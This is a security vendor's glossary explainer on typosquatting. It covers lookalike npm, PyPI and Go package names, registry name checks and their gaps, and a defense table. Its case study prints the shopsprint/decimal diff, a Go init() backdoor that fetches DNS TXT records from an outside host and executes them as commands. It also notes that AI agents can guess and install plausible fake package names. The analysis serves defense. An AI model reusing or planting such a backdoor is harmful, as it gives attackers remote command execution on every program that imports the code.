Back to glossary

Typosquatting

Typosquatting registers a lookalike domain or package name, one typo from a trusted one, so mistakes install or load attacker-controlled code.

Also known as typo-squatting, URL hijacking, package typosquatting, typosquatting attack

Typosquatting, also called typo-squatting or URL hijacking, is an attack that registers a name one small mistake away from a trusted one, such as the domain npnjs.com or the npm package crossenv, so that typos, misremembered names, and autocomplete deliver attacker code. In open source registries, installing the lookalike package runs that code with the installer's privileges.

Typosquatting works because a package name is the only identifier most developers ever check. npm install crossenv and npm install cross-env are both valid commands, and the registry returns whatever the first person to claim each name uploaded. When Nikolai Tschacher uploaded 214 benign typo packages to PyPI, RubyGems, and npm in 2015 and 2016, 17,289 distinct hosts ran his code. At least 43.6% of those hosts ran it with administrative rights.

Our position is that name checks are a filter, not a verdict. Registry rules and similarity alerts catch the laziest lookalikes, but attackers copy the real package's README, author, and repository URL, so metadata cannot tell a fork from a trojan. The decision has to come from analyzing what the package's code does, before it is installed.

What is typosquatting?

#

Typosquatting is the registration of a name that differs from a trusted name by a small, likely mistake. The term comes from web domains: register a misspelling of a popular site and wait for visitors who mistype it. Domain typosquats make money from phishing, ads, and drive-by downloads, and they still target developers. In July 2025 we analyzed a phishing email that spoofed npm support and linked to npnjs.com, a proxy of the npm website one letter away from npmjs.com. The target maintained packages with 34 million weekly downloads.

Package typosquatting moves the same trick into software registries, and the stakes change. A domain typosquat needs a person to type a password into a fake page. A package typosquat needs a person, a build script, or an AI agent to type a name once. After that, the code runs inside builds, CI jobs, and production with no further interaction. Package typosquatting is a common route by which a malicious package reaches a developer who never meant to install it, and one of the oldest techniques in the supply chain attack playbook.

How a package name becomes running code

#

A package manager turns a name into executing code in a few steps, and none of them asks who published the package. npm sends GET https://registry.npmjs.org/<name> to the npm registry, which returns the packument: a JSON document listing every published version. npm picks a version that satisfies the requested range, downloads the tarball, and checks dist.integrity, a SHA-512 hash of the tarball. Integrity proves the bytes match what the publisher uploaded. It says nothing about whether that publisher is the one you meant.

Registries work this way on purpose. Names are first come, first served so anyone can publish without approval, and that openness is why open source package ecosystems grew as fast as they did. The cost is that the registry has no concept of the package you intended.

Figure 1 shows the five steps from a typed name to running code. Step 1, a human, script, or AI agent typing a name such as crossenv, is where the trust assumption breaks, because nothing checks that the name matches the developer's intent. Step 2, the registry looks up the exact name with a request such as GET registry.npmjs.org/crossenv. Step 3, the tarball is fetched and dist.integrity is verified, which proves the bytes are unmodified but not who published them. Step 4, install-time lifecycle scripts (preinstall, install, postinstall) run. Step 5, top-level code runs on import through require(), import, or a Go init() function, with no opt-in, on developer machines, CI runners, and production hosts. Every step after the first works as designed.

The registry still holds the evidence of one of the first documented npm typosquats. This is the live packument for crossenv today, trimmed:

Bash
$ curl -s https://registry.npmjs.org/crossenv | jq '{description, "dist-tags", time}'
{
  "description": "security holding package",
  "dist-tags": { "latest": "0.0.2-security" },
  "time": {
    "created": "2017-07-19T04:21:00.066Z",
    "5.0.0-beta.0": "2017-07-19T04:21:00.066Z",
    "5.0.1": "2017-07-19T04:29:03.954Z",
    ...
    "6.0.7": "2017-07-19T06:32:58.946Z",
    "6.1.1": "2017-07-19T06:49:52.698Z",
    "0.0.1-security": "2017-08-01T15:18:40.480Z",
    "0.0.2-security": "2017-08-02T17:51:51.323Z"
  }
}

The attacker published 15 versions of crossenv in under two and a half hours on July 19, 2017. The version numbers start at 5.0.0-beta.0, a tag the real cross-env package still carries today, so the history looked like a mirror of a maintained project. According to npm's disclosure, the package sent environment variables from the install context to npm.hacktask.net. npm counted 679 downloads of crossenv between July 19 and July 31, 2017, and removed about 40 related packages. What remains is a security holding package that npm published in place of the malware.

Other ecosystems differ in the details, not the shape. PyPI normalizes project names by lowercasing them and collapsing runs of -, _, and . into one -, so Python_Dateutil and python-dateutil are the same project. Go has no registry namespace at all: a module path is a repository URL, so a Go typosquat is a lookalike GitHub account. The Go module proxy also caches every version it has served, so deleting the repository does not delete the module.

The lookalike-name taxonomy

#

Attackers do not rely only on fat-fingered keystrokes. They target every way a developer can arrive at the wrong name: misspelling, misremembering, guessing a naming convention, or copying a name from a search result. These are real packages from the record:

TechniqueLookalikeReal packageEcosystem, year
Dropped punctuationcrossenvcross-envnpm, 2017
Homoglyph (capital I for l)jeIlyfishjellyfishPyPI, 2019
Added prefixpython3-dateutilpython-dateutilPyPI, 2019
Deleted letterpsslibpasslibPyPI, 2025
.js or js suffixzustand.js, typescriptjs, nodemonjszustand, typescript, nodemonnpm, 2025
Phonetic respellingdeezcord.js, dizcordjsdiscord.jsnpm, 2025
Dropped scopeethersproject-wallet@ethersproject/walletnpm, 2026
Owner typo in module pathgithub.com/shopsprint/decimalgithub.com/shopspring/decimalGo, 2017 to 2023

Sources for the table: npm on crossenv; our write-ups on jeIlyfish and python3-dateutil, psslib, the ten npm credential-harvester packages, ethersproject-wallet, and shopsprint/decimal.

Suffix and scope tricks dominate recent campaigns because they pass registry name rules, covered in the next section. They also exploit habits rather than typos. ethersproject-wallet is what a developer types after reading "ethersproject wallet" in a tutorial, and it cloned the real @ethersproject/wallet@5.8.0 release wholesale: README, LICENSE, the original author field, and all 15 upstream dependencies. The only change was one injected line in the compiled CommonJS output. Reviewing the metadata of that package tells you nothing.

Two neighboring attacks exploit the same gap between a name and a publisher. Dependency confusion registers the exact name of a private package on a public registry and relies on the resolver, not a human, to pick the wrong source. Slopsquatting registers names that AI coding assistants hallucinate. Typosquatting bets on human error; the other two bet on resolver and model error.

Do npm and PyPI block typosquatting?

#

npm and PyPI both screen new package names, but neither screen decides whether a package is malicious. Since December 26, 2017, npm has rejected new package names that match an existing name once punctuation is removed. npm's rationale was blunt: "many typosquat names either accidentally or on purpose use punctuation differences to sneak through." Because react-native exists, nobody can publish reactnative, react_native, or react.native.

The rule is exact-match after stripping punctuation, so anything that adds or changes a character passes. zustand.js strips to zustandjs, which is not zustand, and typescriptjs is not typescript. Both were published in 2025 and stayed live for months.

PyPI runs a check called TypoSnyper after a new project is created. It compares the normalized name against a corpus of the most depended-on projects using five tests: repeated characters, omitted characters, swapped characters, swapped words, and a table of common typos. A match does not block anything. The task that runs the check records an observation and notifies PyPI admins for review, and the source says plainly that the observation is "a record only."

We ran TypoSnyper ourselves against candidate names to see where its edges are. This uses the module's built-in fallback list of the top 200 projects; production uses a cached corpus that may be larger.

Python
# typo_check.py: run PyPI's own typosquat check against candidate names
# curl -sO https://raw.githubusercontent.com/pypi/warehouse/main/warehouse/packaging/typosnyper.py
import importlib.util
spec = importlib.util.spec_from_file_location("ts", "typosnyper.py")
ts = importlib.util.module_from_spec(spec); spec.loader.exec_module(ts)
for name in ["reqeusts", "requestss", "reqests", "urlib3", "pandsa", "dateutil-python",
             "beautifulsoup", "python-dateutils", "colourama", "requests2", "numpy-utils"]:
    print(f"{name:18} {ts.typo_check_name(name)}")
Plain text
reqeusts           ('swapped_characters', 'requests')
requestss          ('repeated_characters', 'requests')
reqests            ('omitted_characters', 'requests')
urlib3             ('omitted_characters', 'urllib3')
pandsa             ('swapped_characters', 'pandas')
dateutil-python    ('swapped_words', 'python-dateutil')
beautifulsoup      ('omitted_characters', 'beautifulsoup4')
python-dateutils   None
colourama          None
requests2          None
numpy-utils        None

The results show both failure modes of name similarity. TypoSnyper catches classic single-edit typos and word swaps. It misses an appended letter (python-dateutils), an inserted letter that is not a repeat (colourama), and suffix or combination names (requests2, numpy-utils). It also flags beautifulsoup, which is the real, older Beautiful Soup 3 project. That false positive is why PyPI routes matches to a human instead of blocking them.

Tightening the edit model does not fix this, because legitimate packages are often one edit apart. The SpellBound research prototype, which checked names at install time for npm and PyPI, warned on about 0.5% of package installs at roughly 2.5% install-time overhead. Half a percent sounds small until it is every two-hundredth install across an organization. Similarity can rank suspicion. It cannot decide.

Anatomy of a slow typosquat: shopsprint/decimal

#

The most instructive typosquat we have analyzed did nothing wrong for six years. github.com/shopsprint/decimal impersonated github.com/shopspring/decimal, a Go library for exact decimal arithmetic that 38,634 known importers on pkg.go.dev depend on. The only difference is the last letter of the GitHub owner name.

Figure 2 is a timeline of the module, with spacing not to scale. The table below carries the same data.

Date (UTC)Version or eventBehavior
2017-11-08v1.0.0Benign copy of upstream
2018-03-01 to 2021-10-20v1.0.1 to v1.3.1Benign copies matching upstream tags
2023-08-19 09:20:28v1.3.2Two real bugfixes copied from upstream
2023-08-19 09:27:21v1.3.3Adds init() backdoor polling DNS TXT records
2024-08-07C2 subdomain first analyzed by VirusTotalInfrastructure staged
2026-05-19Socket disclosureGo security team then withdraws the module from proxy.golang.org

Version v1.3.3 added three imports and an init() function, plus an empty main() that never runs. This is the payload portion of the diff from our analysis, taken from the module proxy's zip artifacts and trimmed:

Diff
--- decimal.go (v1.3.2)
+++ decimal.go (v1.3.3)
@@ -25,6 +25,9 @@
 	"regexp"
 	"strconv"
 	"strings"
+	"net"
+	"os/exec"
+	"time"
 )
@@ -505,6 +508,25 @@
+func init(){
+	go func(){
+		for {
+			records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com")
+			if err != nil {
+				time.Sleep(5 * time.Minute)
+				continue
+			}
+			for _, txt := range records {
+				cmd := exec.Command(txt)
+				cmd.CombinedOutput()
+			}
+			time.Sleep(5 * time.Minute)
+		}
+	}()
+}

Go runs every init() in a package before main(), so any program that imports the module, directly or transitively, starts the loop when it launches. No install script exists to block. Every five minutes the goroutine fetches TXT records for a free dynamic-DNS subdomain and executes each value as a command. The arithmetic code is untouched, tests pass, and nothing is logged.

Three lessons generalize beyond Go. First, age and release history are not trust signals: the typosquat spent six years building a plausible history before the payload. Second, the poisoned release followed a benign one by seven minutes, so anyone who checked the day before saw recent, legitimate-looking activity. Third, the strongest signal was in the code, not the name: a decimal library has no reason to import net and os/exec. A capability diff against upstream would have flagged v1.3.3 the day it was published.

How do you protect against typosquatting?

#

You protect against typosquatting by controlling which names enter your dependency graph and by inspecting what each new package does before it runs. Every common control covers part of that, and each has a specific blind spot:

ControlWhat it stopsWhat it misses
Lockfile with npm ci or equivalentA later install silently resolving a different name or versionThe typo committed on the day the dependency was added
Install scripts off by default (npm v12, pnpm 10)postinstall payloads, like the ten 2025 npm credential-harvester packagesImport-time payloads: shopsprint's init(), wrapped bs58 decode() calls
Minimum release age (pnpm 11 default: 1,440 minutes)A brand-new typosquat during its first dayAnything older than the window, including six-year-old shopsprint
Private registry or allowlistNames outside an approved setExploration and prototyping; adds friction to every new dependency
Name-similarity alertsSingle-edit lookalikes of popular packagesSuffix, scope, and combination names; typosquats of less popular packages; legitimate near-names
Analysis of package contents before installThe payload, whatever the namePayloads that evade analysis; a verdict still needs a human for novel cases

Our verdict: treat lockfiles and scripts-off defaults as hygiene that limits blast radius, and make the real decision with content analysis at the moment a new name enters the graph, in the pull request or at install. As of October 2026, npm v12 ships with dependency install scripts off by default, which closes the postinstall scripts path that many typosquats use. That is a design mistake corrected, but it does nothing for a payload that runs on import. A dependency cooldown such as pnpm 11's 24-hour minimum release age helps against a typosquat during its first day online and against nothing older.

In Socket, a lookalike name raises the Possible typosquat attack alert, which asks "Did you mean" the package it resembles. We pair that alert with analysis of the package's code because the name alone cannot separate a fork from a trojan. In July 2026 our scanner caught 17 npm and PyPI packages typosquatting payment SDKs, and flagged each malicious npm version within six minutes of publication, from what the code did rather than what it was called.

Two habits help any team. Copy install commands from the project's own documentation or repository, never from search results or chat. When adding a dependency, check the publisher account and first publish date, which the registry sets, rather than the repository URL and author fields, which the publisher can set to anything.

The name is the wrong unit of trust

#

Typosquatting has outlived every registry rule written against it because the rules defend the name, and the name was never an identity. It is a string chosen by whoever got there first. The next shift is already underway: AI agents now type package names, and they do not fat-finger keys, they guess plausible names. A registry can block reactnative. It cannot rule on plausibility. The defenses that hold up are the ones that ignore the name entirely and ask what the code will do on the machine that runs it.